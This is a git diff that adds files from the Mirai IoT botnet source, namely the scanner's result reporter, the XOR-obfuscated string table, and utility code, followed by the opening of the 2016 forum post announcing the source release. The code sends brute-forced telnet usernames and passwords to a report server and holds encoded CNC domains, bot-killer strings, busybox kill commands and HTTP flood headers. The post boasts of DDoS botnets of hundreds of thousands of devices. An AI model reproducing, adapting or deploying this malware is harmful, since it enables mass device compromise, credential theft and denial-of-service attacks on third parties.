+ printf("[report] Failed to call socket()\n");
+#endif
+ exit(0);
+ }
+
+ table_unlock_val(TABLE_SCAN_CB_DOMAIN);
+ table_unlock_val(TABLE_SCAN_CB_PORT);
+
+ entries = resolv_lookup(table_retrieve_val(TABLE_SCAN_CB_DOMAIN, NULL));
+ if (entries == NULL)
+ {
+#ifdef DEBUG
+ printf("[report] Failed to resolve report address\n");
+#endif
+ return;
+ }
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];
+ addr.sin_port = *((port_t *)table_retrieve_val(TABLE_SCAN_CB_PORT, NULL));
+ resolv_entries_free(entries);
+
+ table_lock_val(TABLE_SCAN_CB_DOMAIN);
+ table_lock_val(TABLE_SCAN_CB_PORT);
+
+ if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
+ {
+#ifdef DEBUG
+ printf("[report] Failed to connect to scanner callback!\n");
+#endif
+ close(fd);
+ exit(0);
+ }
+
+ uint8_t zero = 0;
+ send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL);
+ send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL);
+ send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL);
+ send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL);
+ send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);
+ send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL);
+ send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);
+
+#ifdef DEBUG
+ printf("[report] Send scan result to loader\n");
+#endif
+
+ close(fd);
+ exit(0);
+}
+
+static char *deobf(char *str, int *len)
+{
+ int i;
+ char *cpy;
+
+ *len = util_strlen(str);
+ cpy = malloc(*len + 1);
+
+ util_memcpy(cpy, str, *len + 1);
+
+ for (i = 0; i < *len; i++)
+ {
+ cpy[i] ^= 0xDE;
+ cpy[i] ^= 0xAD;
+ cpy[i] ^= 0xBE;
+ cpy[i] ^= 0xEF;
+ }
+
+ return cpy;
+}
+
+static BOOL can_consume(struct scanner_connection *conn, uint8_t *ptr, int amount)
+{
+ uint8_t *end = conn->rdbuf + conn->rdbuf_pos;
+
+ return ptr + amount < end;
+}
+
+#endif
diff --git a/rai/bot/scanner.h b/rai/bot/scanner.h
new file mode 100644
index 0000000..3669463
--- /dev/null
+++ b/rai/bot/scanner.h
@@ -0,0 +1,64 @@
+#pragma once
+
+#include
+
+#include "includes.h"
+
+#ifdef DEBUG
+#define SCANNER_MAX_CONNS 128
+#define SCANNER_RAW_PPS 160
+#else
+#define SCANNER_MAX_CONNS 128
+#define SCANNER_RAW_PPS 160
+#endif
+
+#define SCANNER_RDBUF_SIZE 256
+#define SCANNER_HACK_DRAIN 64
+
+struct scanner_auth {
+ char *username;
+ char *password;
+ uint16_t weight_min, weight_max;
+ uint8_t username_len, password_len;
+};
+
+struct scanner_connection {
+ struct scanner_auth *auth;
+ int fd, last_recv;
+ enum {
+ SC_CLOSED,
+ SC_CONNECTING,
+ SC_HANDLE_IACS,
+ SC_WAITING_USERNAME,
+ SC_WAITING_PASSWORD,
+ SC_WAITING_PASSWD_RESP,
+ SC_WAITING_ENABLE_RESP,
+ SC_WAITING_SYSTEM_RESP,
+ SC_WAITING_SHELL_RESP,
+ SC_WAITING_SH_RESP,
+ SC_WAITING_TOKEN_RESP
+ } state;
+ ipv4_t dst_addr;
+ uint16_t dst_port;
+ int rdbuf_pos;
+ char rdbuf[SCANNER_RDBUF_SIZE];
+ uint8_t tries;
+};
+
+void scanner_init();
+void scanner_kill(void);
+
+static void setup_connection(struct scanner_connection *);
+static ipv4_t get_random_ip(void);
+
+static int consume_iacs(struct scanner_connection *);
+static int consume_any_prompt(struct scanner_connection *);
+static int consume_user_prompt(struct scanner_connection *);
+static int consume_pass_prompt(struct scanner_connection *);
+static int consume_resp_prompt(struct scanner_connection *);
+
+static void add_auth_entry(char *, char *, uint16_t);
+static struct scanner_auth *random_auth_entry(void);
+static void report_working(ipv4_t, uint16_t, struct scanner_auth *);
+static char *deobf(char *, int *);
+static BOOL can_consume(struct scanner_connection *, uint8_t *, int);
diff --git a/rai/bot/table.c b/rai/bot/table.c
new file mode 100644
index 0000000..13b341e
--- /dev/null
+++ b/rai/bot/table.c
@@ -0,0 +1,158 @@
+#define _GNU_SOURCE
+
+#ifdef DEBUG
+#include
+#endif
+#include
+#include
+
+#include "includes.h"
+#include "table.h"
+#include "util.h"
+
+uint32_t table_key = 0xdeadbeef;
+struct table_value table[TABLE_MAX_KEYS];
+
+void table_init(void)
+{
+ add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
+ add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23
+
+ add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
+ add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101
+
+ add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15);
+
+ // safe string https://youtu.be/dQw4w9WgXcQ
+ add_entry(TABLE_KILLER_SAFE, "\x4A\x56\x56\x52\x51\x18\x0D\x0D\x5B\x4D\x57\x56\x57\x0C\x40\x47\x0D\x46\x73\x55\x16\x55\x1B\x75\x45\x7A\x41\x73\x22", 29);
+ add_entry(TABLE_KILLER_PROC, "\x0D\x52\x50\x4D\x41\x0D\x22", 7);
+ add_entry(TABLE_KILLER_EXE, "\x0D\x47\x5A\x47\x22", 5);
+ add_entry(TABLE_KILLER_DELETED, "\x02\x0A\x46\x47\x4E\x47\x56\x47\x46\x0B\x22", 11);
+ add_entry(TABLE_KILLER_FD, "\x0D\x44\x46\x22", 4);
+ add_entry(TABLE_KILLER_ANIME, "\x0C\x43\x4C\x4B\x4F\x47\x22", 7);
+ add_entry(TABLE_KILLER_STATUS, "\x0D\x51\x56\x43\x56\x57\x51\x22", 8);
+ add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13);
+ add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10);
+ add_entry(TABLE_MEM_QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10);
+ add_entry(TABLE_MEM_UPX, "\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10\x10\x22", 33);
+ add_entry(TABLE_MEM_ZOLLARD, "\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8);
+ add_entry(TABLE_MEM_REMAITEN, "\x65\x67\x76\x6E\x6D\x61\x63\x6E\x6B\x72\x22", 11);
+
+ add_entry(TABLE_SCAN_SHELL, "\x51\x4A\x47\x4E\x4E\x22", 6);
+ add_entry(TABLE_SCAN_ENABLE, "\x47\x4C\x43\x40\x4E\x47\x22", 7);
+ add_entry(TABLE_SCAN_SYSTEM, "\x51\x5B\x51\x56\x47\x4F\x22", 7);
+ add_entry(TABLE_SCAN_SH, "\x51\x4A\x22", 3);
+ add_entry(TABLE_SCAN_QUERY, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x6F\x6B\x70\x63\x6B\x22", 19);
+ add_entry(TABLE_SCAN_RESP, "\x6F\x6B\x70\x63\x6B\x18\x02\x43\x52\x52\x4E\x47\x56\x02\x4C\x4D\x56\x02\x44\x4D\x57\x4C\x46\x22", 24);
+ add_entry(TABLE_SCAN_NCORRECT, "\x4C\x41\x4D\x50\x50\x47\x41\x56\x22", 9);
+ add_entry(TABLE_SCAN_PS, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x52\x51\x22", 16);
+ add_entry(TABLE_SCAN_KILL_9, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x49\x4B\x4E\x4E\x02\x0F\x1B\x02\x22", 22);
+
+ add_entry(TABLE_ATK_VSE, "\x76\x71\x4D\x57\x50\x41\x47\x02\x67\x4C\x45\x4B\x4C\x47\x02\x73\x57\x47\x50\x5B\x22", 21);
+ add_entry(TABLE_ATK_RESOLVER, "\x0D\x47\x56\x41\x0D\x50\x47\x51\x4D\x4E\x54\x0C\x41\x4D\x4C\x44\x22", 17);
+ add_entry(TABLE_ATK_NSERV, "\x4C\x43\x4F\x47\x51\x47\x50\x54\x47\x50\x02\x22", 12);
+
+ add_entry(TABLE_ATK_KEEP_ALIVE, "\x61\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x02\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 23);
+ add_entry(TABLE_ATK_ACCEPT, "\x63\x41\x41\x47\x52\x56\x18\x02\x56\x47\x5A\x56\x0D\x4A\x56\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4A\x56\x4F\x4E\x09\x5A\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4F\x4E\x19\x53\x1F\x12\x0C\x1B\x0E\x4B\x4F\x43\x45\x47\x0D\x55\x47\x40\x52\x0E\x08\x0D\x08\x19\x53\x1F\x12\x0C\x1A\x22", 83);
+ add_entry(TABLE_ATK_ACCEPT_LNG, "\x63\x41\x41\x47\x52\x56\x0F\x6E\x43\x4C\x45\x57\x43\x45\x47\x18\x02\x47\x4C\x0F\x77\x71\x0E\x47\x4C\x19\x53\x1F\x12\x0C\x1A\x22", 32);
+ add_entry(TABLE_ATK_CONTENT_TYPE, "\x61\x4D\x4C\x56\x47\x4C\x56\x0F\x76\x5B\x52\x47\x18\x02\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x0F\x55\x55\x55\x0F\x44\x4D\x50\x4F\x0F\x57\x50\x4E\x47\x4C\x41\x4D\x46\x47\x46\x22", 48);
+ add_entry(TABLE_ATK_SET_COOKIE, "\x51\x47\x56\x61\x4D\x4D\x49\x4B\x47\x0A\x05\x22", 12);
+ add_entry(TABLE_ATK_REFRESH_HDR, "\x50\x47\x44\x50\x47\x51\x4A\x18\x22", 9);
+ add_entry(TABLE_ATK_LOCATION_HDR, "\x4E\x4D\x41\x43\x56\x4B\x4D\x4C\x18\x22", 10);
+ add_entry(TABLE_ATK_SET_COOKIE_HDR, "\x51\x47\x56\x0F\x41\x4D\x4D\x49\x4B\x47\x18\x22", 12);
+ add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, "\x41\x4D\x4C\x56\x47\x4C\x56\x0F\x4E\x47\x4C\x45\x56\x4A\x18\x22", 16);
+ add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, "\x56\x50\x43\x4C\x51\x44\x47\x50\x0F\x47\x4C\x41\x4D\x46\x4B\x4C\x45\x18\x22", 19);
+ add_entry(TABLE_ATK_CHUNKED, "\x41\x4A\x57\x4C\x49\x47\x46\x22", 8);
+ add_entry(TABLE_ATK_KEEP_ALIVE_HDR, "\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 11);
+ add_entry(TABLE_ATK_CONNECTION_HDR, "\x41\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x22", 12);
+ add_entry(TABLE_ATK_DOSARREST, "\x51\x47\x50\x54\x47\x50\x18\x02\x46\x4D\x51\x43\x50\x50\x47\x51\x56\x22", 18);
+ add_entry(TABLE_ATK_CLOUDFLARE_NGINX, "\x51\x47\x50\x54\x47\x50\x18\x02\x41\x4E\x4D\x57\x46\x44\x4E\x43\x50\x47\x0F\x4C\x45\x4B\x4C\x5A\x22", 25);
+
+ add_entry(TABLE_HTTP_ONE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111);
+ add_entry(TABLE_HTTP_TWO, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111);
+ add_entry(TABLE_HTTP_THREE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110);
+ add_entry(TABLE_HTTP_FOUR, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110);
+ add_entry(TABLE_HTTP_FIVE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x6F\x43\x41\x4B\x4C\x56\x4D\x51\x4A\x19\x02\x6B\x4C\x56\x47\x4E\x02\x6F\x43\x41\x02\x6D\x71\x02\x7A\x02\x13\x12\x7D\x13\x13\x7D\x14\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x14\x12\x13\x0C\x15\x0C\x15\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x74\x47\x50\x51\x4B\x4D\x4C\x0D\x1B\x0C\x13\x0C\x10\x02\x71\x43\x44\x43\x50\x4B\x0D\x14\x12\x13\x0C\x15\x0C\x15\x22", 117);
+}
+
+void table_unlock_val(uint8_t id)
+{
+ struct table_value *val = &table[id];
+
+#ifdef DEBUG
+ if (!val->locked)
+ {
+ printf("[table] Tried to double-unlock value %d\n", id);
+ return;
+ }
+#endif
+
+ toggle_obf(id);
+}
+
+void table_lock_val(uint8_t id)
+{
+ struct table_value *val = &table[id];
+
+#ifdef DEBUG
+ if (val->locked)
+ {
+ printf("[table] Tried to double-lock value\n");
+ return;
+ }
+#endif
+
+ toggle_obf(id);
+}
+
+char *table_retrieve_val(int id, int *len)
+{
+ struct table_value *val = &table[id];
+
+#ifdef DEBUG
+ if (val->locked)
+ {
+ printf("[table] Tried to access table.%d but it is locked\n", id);
+ return NULL;
+ }
+#endif
+
+ if (len != NULL)
+ *len = (int)val->val_len;
+ return val->val;
+}
+
+static void add_entry(uint8_t id, char *buf, int buf_len)
+{
+ char *cpy = malloc(buf_len);
+
+ util_memcpy(cpy, buf, buf_len);
+
+ table[id].val = cpy;
+ table[id].val_len = (uint16_t)buf_len;
+#ifdef DEBUG
+ table[id].locked = TRUE;
+#endif
+}
+
+static void toggle_obf(uint8_t id)
+{
+ int i;
+ struct table_value *val = &table[id];
+ uint8_t k1 = table_key & 0xff,
+ k2 = (table_key >> 8) & 0xff,
+ k3 = (table_key >> 16) & 0xff,
+ k4 = (table_key >> 24) & 0xff;
+
+ for (i = 0; i < val->val_len; i++)
+ {
+ val->val[i] ^= k1;
+ val->val[i] ^= k2;
+ val->val[i] ^= k3;
+ val->val[i] ^= k4;
+ }
+
+#ifdef DEBUG
+ val->locked = !val->locked;
+#endif
+}
diff --git a/rai/bot/table.h b/rai/bot/table.h
new file mode 100644
index 0000000..80d0a46
--- /dev/null
+++ b/rai/bot/table.h
@@ -0,0 +1,84 @@
+#pragma once
+
+#include
+#include "includes.h"
+
+struct table_value {
+ char *val;
+ uint16_t val_len;
+#ifdef DEBUG
+ BOOL locked;
+#endif
+};
+
+/* Generic bot info */
+#define TABLE_PROCESS_ARGV 1
+#define TABLE_EXEC_SUCCESS 2
+#define TABLE_CNC_DOMAIN 3
+#define TABLE_CNC_PORT 4
+
+/* Killer data */
+#define TABLE_KILLER_SAFE 5
+#define TABLE_KILLER_PROC 6
+#define TABLE_KILLER_EXE 7
+#define TABLE_KILLER_DELETED 8 /* " (deleted)" */
+#define TABLE_KILLER_FD 9 /* "/fd" */
+#define TABLE_KILLER_ANIME 10 /* .anime */
+#define TABLE_KILLER_STATUS 11
+#define TABLE_MEM_QBOT 12
+#define TABLE_MEM_QBOT2 13
+#define TABLE_MEM_QBOT3 14
+#define TABLE_MEM_UPX 15
+#define TABLE_MEM_ZOLLARD 16
+#define TABLE_MEM_REMAITEN 17
+
+/* Scanner data */
+#define TABLE_SCAN_CB_DOMAIN 18 /* domain to connect to */
+#define TABLE_SCAN_CB_PORT 19 /* Port to connect to */
+#define TABLE_SCAN_SHELL 20 /* 'shell' to enable shell access */
+#define TABLE_SCAN_ENABLE 21 /* 'enable' to enable shell access */
+#define TABLE_SCAN_SYSTEM 22 /* 'system' to enable shell access */
+#define TABLE_SCAN_SH 23 /* 'sh' to enable shell access */
+#define TABLE_SCAN_QUERY 24 /* echo hex string to verify login */
+#define TABLE_SCAN_RESP 25 /* utf8 version of query string */
+#define TABLE_SCAN_NCORRECT 26 /* 'ncorrect' to fast-check for invalid password */
+#define TABLE_SCAN_PS 27 /* "/bin/busybox ps" */
+#define TABLE_SCAN_KILL_9 28 /* "/bin/busybox kill -9 " */
+
+/* Attack strings */
+#define TABLE_ATK_VSE 29 /* TSource Engine Query */
+#define TABLE_ATK_RESOLVER 30 /* /etc/resolv.conf */
+#define TABLE_ATK_NSERV 31 /* "nameserver " */
+
+#define TABLE_ATK_KEEP_ALIVE 32 /* "Connection: keep-alive" */
+#define TABLE_ATK_ACCEPT 33 // "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" // */
+#define TABLE_ATK_ACCEPT_LNG 34 // "Accept-Language: en-US,en;q=0.8"
+#define TABLE_ATK_CONTENT_TYPE 35 // "Content-Type: application/x-www-form-urlencoded"
+#define TABLE_ATK_SET_COOKIE 36 // "setCookie('"
+#define TABLE_ATK_REFRESH_HDR 37 // "refresh:"
+#define TABLE_ATK_LOCATION_HDR 38 // "location:"
+#define TABLE_ATK_SET_COOKIE_HDR 39 // "set-cookie:"
+#define TABLE_ATK_CONTENT_LENGTH_HDR 40 // "content-length:"
+#define TABLE_ATK_TRANSFER_ENCODING_HDR 41 // "transfer-encoding:"
+#define TABLE_ATK_CHUNKED 42 // "chunked"
+#define TABLE_ATK_KEEP_ALIVE_HDR 43 // "keep-alive"
+#define TABLE_ATK_CONNECTION_HDR 44 // "connection:"
+#define TABLE_ATK_DOSARREST 45 // "server: dosarrest"
+#define TABLE_ATK_CLOUDFLARE_NGINX 46 // "server: cloudflare-nginx"
+
+/* User agent strings */
+#define TABLE_HTTP_ONE 47 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
+#define TABLE_HTTP_TWO 48 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
+#define TABLE_HTTP_THREE 49 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
+#define TABLE_HTTP_FOUR 50 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
+#define TABLE_HTTP_FIVE 51 /* "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" */
+
+#define TABLE_MAX_KEYS 52 /* Highest value + 1 */
+
+void table_init(void);
+void table_unlock_val(uint8_t);
+void table_lock_val(uint8_t);
+char *table_retrieve_val(int, int *);
+
+static void add_entry(uint8_t, char *, int);
+static void toggle_obf(uint8_t);
diff --git a/rai/bot/util.c b/rai/bot/util.c
new file mode 100644
index 0000000..d1931df
--- /dev/null
+++ b/rai/bot/util.c
@@ -0,0 +1,291 @@
+#define _GNU_SOURCE
+
+#ifdef DEBUG
+#include
+#endif
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "includes.h"
+#include "util.h"
+#include "table.h"
+
+int util_strlen(char *str)
+{
+ int c = 0;
+
+ while (*str++ != 0)
+ c++;
+ return c;
+}
+
+
+BOOL util_strncmp(char *str1, char *str2, int len)
+{
+ int l1 = util_strlen(str1), l2 = util_strlen(str2);
+
+ if (l1 < len || l2 < len)
+ return FALSE;
+
+ while (len--)
+ {
+ if (*str1++ != *str2++)
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+BOOL util_strcmp(char *str1, char *str2)
+{
+ int l1 = util_strlen(str1), l2 = util_strlen(str2);
+
+ if (l1 != l2)
+ return FALSE;
+
+ while (l1--)
+ {
+ if (*str1++ != *str2++)
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+int util_strcpy(char *dst, char *src)
+{
+ int l = util_strlen(src);
+
+ util_memcpy(dst, src, l + 1);
+
+ return l;
+}
+
+void util_memcpy(void *dst, void *src, int len)
+{
+ char *r_dst = (char *)dst;
+ char *r_src = (char *)src;
+ while (len--)
+ *r_dst++ = *r_src++;
+}
+
+void util_zero(void *buf, int len)
+{
+ char *zero = buf;
+ while (len--)
+ *zero++ = 0;
+}
+
+int util_atoi(char *str, int base)
+{
+ unsigned long acc = 0;
+ int c;
+ unsigned long cutoff;
+ int neg = 0, any, cutlim;
+
+ do {
+ c = *str++;
+ } while (util_isspace(c));
+ if (c == '-') {
+ neg = 1;
+ c = *str++;
+ } else if (c == '+')
+ c = *str++;
+
+ cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX;
+ cutlim = cutoff % (unsigned long)base;
+ cutoff /= (unsigned long)base;
+ for (acc = 0, any = 0;; c = *str++) {
+ if (util_isdigit(c))
+ c -= '0';
+ else if (util_isalpha(c))
+ c -= util_isupper(c) ? 'A' - 10 : 'a' - 10;
+ else
+ break;
+
+ if (c >= base)
+ break;
+
+ if (any < 0 || acc > cutoff || acc == cutoff && c > cutlim)
+ any = -1;
+ else {
+ any = 1;
+ acc *= base;
+ acc += c;
+ }
+ }
+ if (any < 0) {
+ acc = neg ? LONG_MIN : LONG_MAX;
+ } else if (neg)
+ acc = -acc;
+ return (acc);
+}
+
+char *util_itoa(int value, int radix, char *string)
+{
+ if (string == NULL)
+ return NULL;
+
+ if (value != 0)
+ {
+ char scratch[34];
+ int neg;
+ int offset;
+ int c;
+ unsigned int accum;
+
+ offset = 32;
+ scratch[33] = 0;
+
+ if (radix == 10 && value < 0)
+ {
+ neg = 1;
+ accum = -value;
+ }
+ else
+ {
+ neg = 0;
+ accum = (unsigned int)value;
+ }
+
+ while (accum)
+ {
+ c = accum % radix;
+ if (c < 10)
+ c += '0';
+ else
+ c += 'A' - 10;
+
+ scratch[offset] = c;
+ accum /= radix;
+ offset--;
+ }
+
+ if (neg)
+ scratch[offset] = '-';
+ else
+ offset++;
+
+ util_strcpy(string, &scratch[offset]);
+ }
+ else
+ {
+ string[0] = '0';
+ string[1] = 0;
+ }
+
+ return string;
+}
+
+int util_memsearch(char *buf, int buf_len, char *mem, int mem_len)
+{
+ int i, matched = 0;
+
+ if (mem_len > buf_len)
+ return -1;
+
+ for (i = 0; i < buf_len; i++)
+ {
+ if (buf[i] == mem[matched])
+ {
+ if (++matched == mem_len)
+ return i + 1;
+ }
+ else
+ matched = 0;
+ }
+
+ return -1;
+}
+
+int util_stristr(char *haystack, int haystack_len, char *str)
+{
+ char *ptr = haystack;
+ int str_len = util_strlen(str);
+ int match_count = 0;
+
+ while (haystack_len-- > 0)
+ {
+ char a = *ptr++;
+ char b = str[match_count];
+ a = a >= 'A' && a <= 'Z' ? a | 0x60 : a;
+ b = b >= 'A' && b <= 'Z' ? b | 0x60 : b;
+
+ if (a == b)
+ {
+ if (++match_count == str_len)
+ return (ptr - haystack);
+ }
+ else
+ match_count = 0;
+ }
+
+ return -1;
+}
+
+ipv4_t util_local_addr(void)
+{
+ int fd;
+ struct sockaddr_in addr;
+ socklen_t addr_len = sizeof (addr);
+
+ errno = 0;
+ if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
+ {
+#ifdef DEBUG
+ printf("[util] Failed to call socket(), errno = %d\n", errno);
+#endif
+ return 0;
+ }
+
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
+ addr.sin_port = htons(53);
+
+ connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
+
+ getsockname(fd, (struct sockaddr *)&addr, &addr_len);
+ close(fd);
+ return addr.sin_addr.s_addr;
+}
+
+char *util_fdgets(char *buffer, int buffer_size, int fd)
+{
+ int got = 0, total = 0;
+ do
+ {
+ got = read(fd, buffer + total, 1);
+ total = got == 1 ? total + 1 : total;
+ }
+ while (got == 1 && total < buffer_size && *(buffer + (total - 1)) != '\n');
+
+ return total == 0 ? NULL : buffer;
+}
+
+static inline int util_isupper(char c)
+{
+ return (c >= 'A' && c <= 'Z');
+}
+
+static inline int util_isalpha(char c)
+{
+ return ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z'));
+}
+
+static inline int util_isspace(char c)
+{
+ return (c == ' ' || c == '\t' || c == '\n' || c == '\12');
+}
+
+static inline int util_isdigit(char c)
+{
+ return (c >= '0' && c <= '9');
+}
diff --git a/rai/bot/util.h b/rai/bot/util.h
new file mode 100644
index 0000000..4ad7e77
--- /dev/null
+++ b/rai/bot/util.h
@@ -0,0 +1,21 @@
+#pragma once
+
+#include "includes.h"
+
+int util_strlen(char *);
+BOOL util_strncmp(char *, char *, int);
+BOOL util_strcmp(char *, char *);
+int util_strcpy(char *, char *);
+void util_memcpy(void *, void *, int);
+void util_zero(void *, int);
+int util_atoi(char *, int);
+char *util_itoa(int, int, char *);
+int util_memsearch(char *, int, char *, int);
+int util_stristr(char *, int, char *);
+ipv4_t util_local_addr(void);
+char *util_fdgets(char *, int, int);
+
+static inline int util_isupper(char);
+static inline int util_isalpha(char);
+static inline int util_isspace(char);
+static inline int util_isdigit(char);
diff --git "a/tools/ForumPost\360\237\230\211.txt" "b/tools/ForumPost\360\237\230\211.txt"
new file mode 100644
index 0000000..30bfd54
--- /dev/null
+++ "b/tools/ForumPost\360\237\230\211.txt"
@@ -0,0 +1,157 @@
+[FREE] World's Largest Net:rai Botnet, Client, Echo Loader, CNC source code release - Anna-senpai - 09-30-2016 11:50 AM
+
+Preface
+Greetz everybody,
+
+When I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it's time to GTFO. However, I know every skid and their mama, it's their wet dream to have something besides qbot.
+
+So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.
+
+So, I am your senpai, and I will treat you real nice, my hf-chan.
+
+And to everyone that thought they were doing anything by hitting my CNC, I had good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to reconnect, lol
+
+Also, shoutout to this blog post by malwaremustdie
+http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
